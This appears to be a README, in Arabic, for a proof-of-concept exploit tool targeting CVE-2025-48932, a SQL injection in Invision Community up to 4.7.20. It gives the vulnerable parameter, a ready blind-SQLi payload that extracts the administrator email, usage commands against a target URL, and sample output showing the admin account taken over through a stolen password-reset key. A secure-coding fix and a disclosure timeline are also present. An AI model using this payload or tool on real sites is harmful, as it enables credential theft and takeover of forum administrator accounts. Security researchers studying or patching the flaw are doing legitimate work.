
استغلال إثبات المفهوم لـ CVE-2025-48932، وهو حقن SQL في Invision Community <= 4.7.20. يستخرج بيانات اعتماد المسؤول عبر SQLi الأعمى ومفتاح إعادة تعيين كلمة المرور للاستيلاء على الحساب.
أداة إثبات المفهوم توضح ثغرة حقن SQL في Invision Community الإصدارات <= 4.7.20.
هذه الأداة مقدمة لأغراض التعليم واختبار الأمان المصرح به فقط.
CVE ID: CVE-2025-48932
الخطورة: عالية
درجة CVSS: سيتم تحديدها لاحقًا
الإصدارات المتأثرة: إصدارات Invision Community 4.x قبل 4.7.21
توجد الثغرة في السكريبت /applications/calendar/modules/front/calendar/view.php. المدخلات التي يمررها المستخدم عبر معامل الطلب location في طريقة IPS\calendar\modules\front\calendar\view::search() لا يتم تنقيتها بشكل صحيح قبل استخدامها في استعلامات SQL.
وهذا يسمح للمهاجمين عن بعد غير الموثقين بما يلي:
المتطلبات المسبقة للاستغلال:
ملاحظة: بينما يمكن لثغرات حقن SQL في إصدارات Invision Community 4.x < 4.7.18 أن تؤدي إلى الاستيلاء على حساب المسؤول وتنفيذ الأوامر البرمجية عن بعد (RCE) عن طريق إعادة تعيين كلمة مرور المسؤول، فقد أدخل الإصدار 4.7.18 مفتاح تشفير أمان جديد في آلية إعادة تعيين كلمة المرور، مما يجعل هذا المتجه الهجومي أكثر صعوبة.
استنساخ المستودع:
git clone https://github.com/yourusername/invision-sqli-exploit.git
cd invision-sqli-exploit
تثبيت التبعيات:
pip install -r requirements.txt
python invision-sqli-exploit.py -u http://target.com/forum/
python invision-sqli-exploit.py -u https://example.com/community/ -v
==================================================
استغلال حقن SQL في Invision Community <= 4.7.20
CVE-2025-48932
==================================================
الهدف: http://example.com/forum/
==================================================
[*] جلب رمز CSRF...
[+] تم العثور على رمز CSRF: abc123def456...
[*] الخطوة 1: استخراج عنوان البريد الإلكتروني للمسؤول...
[*] استخراج البيانات: [email protected]
[+] البريد الإلكتروني للمسؤول: [email protected]
[!] الخطوة 2: إجراء يدوي مطلوب!
يرجى اتباع هذه الخطوات:
1. انتقل إلى: http://example.com/forum/index.php?/lostpassword/
2. طلب إعادة تعيين كلمة المرور باستخدام البريد الإلكتروني: [email protected]
3. اضغط ENTER عند الانتهاء...
[*] الخطوة 3: استخراج مفتاح التحقق من إعادة تعيين كلمة المرور...
[*] استخراج البيانات: xyz789abc123...
[+] مفتاح إعادة التعيين: xyz789abc123...
[*] الخطوة 4: إعادة تعيين كلمة مرور المسؤول...
==================================================
[+] تم الاستغلال بنجاح!
==================================================
بيانات اعتماد المسؤول:
البريد الإلكتروني: [email protected]
كلمة المرور: Pwned1721234567
يمكنك الآن تسجيل الدخول في: http://example.com/forum/index.php?/login/
يعمل الاستغلال في أربع خطوات رئيسية:
يقوم السكريبت أولاً بجلب رمز CSRF من الموقع المستهدف، وهو مطلوب للطلبات اللاحقة.
باستخدام خوارزمية البحث الثنائي، يقوم الاستغلال باستخراج البيانات حرفًا حرفًا من قاعدة البيانات:
RLIKE مع أنماط التعبير المنتظم (regex) للكشف عن الشروط الصحيحة/الخاطئةيقوم بالاستعلام عن جدول core_members لاستخراج عنوان البريد الإلكتروني للمسؤول.
نقطة الحقن:
location parameter → calendar/view.php → search() method
مثال على الحمولة:
'))OR(SELECT 1 RLIKE(IF(ORD(SUBSTR((SELECT email FROM core_members WHERE member_id=1),1,1))<128,0x28,0x31)))#
تقنية الاستغلال: حقن SQL أعمى قائم على القيم المنطقية باستخدام البحث الثنائي لاستخراج البيانات بكفاءة.
إجراءات فورية:
ممارسات البرمجة الآمنة:
مثال على كود آمن:
// كود ضعيف
$location = $_REQUEST['location'];
$query = "SELECT * FROM events WHERE location = '$location'";
// كود آمن
$location = $_REQUEST['location'];
$query = $db->prepare("SELECT * FROM events WHERE location = ?");
$query->execute([$location]);
| التاريخ | الحدث |
|---|---|
| 16 مايو 2025 | تم إخطار البائع |
| 27 مايو 2025 | تم إصدار الإصدار 4.7.21 |
| 28 مايو 2025 | تم طلب معرف CVE |
المطور:
ملاحظة: هذا تنفيذ مستقل يعتمد على معلومات الثغرة المفصح عنها علنيًا (CVE-2025-48932)
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للحصول على التفاصيل.
المساهمات مرحب بها! لا تتردد في تقديم طلب سحب (Pull Request). بالنسبة للتغييرات الكبيرة، يرجى فتح مشكلة (issue) أولاً لمناقشة ما تريد تغييره.
هذه الأداة موزعة بموجب رخصة MIT. باستخدام هذا البرنامج، فإنك توافق على:
تذكر: الوصول غير المصرح به إلى أنظمة الحاسوب هو جريمة في معظم البلدان ويمكن أن يؤدي إلى عواقب قانونية شديدة.
إذا اكتشفت ثغرة أمنية، يرجى الإفصاح عنها بشكل مسؤول للبائع قبل نشرها علنًا.
| الوسيط | الوصف | مطلوب |
|---|
-u, --url | عنوان URL الأساسي لـ Invision Community المستهدف | نعم |
-v, --verbose | تمكين الإخراج المفصل للتشخيص | لا |
-h, --help | عرض رسالة المساعدة والخروج | لا |
| 28 مايو 2025 | تم تعيين CVE-2025-48932 |
| 23 يوليو 2025 | الإفصاح العلني |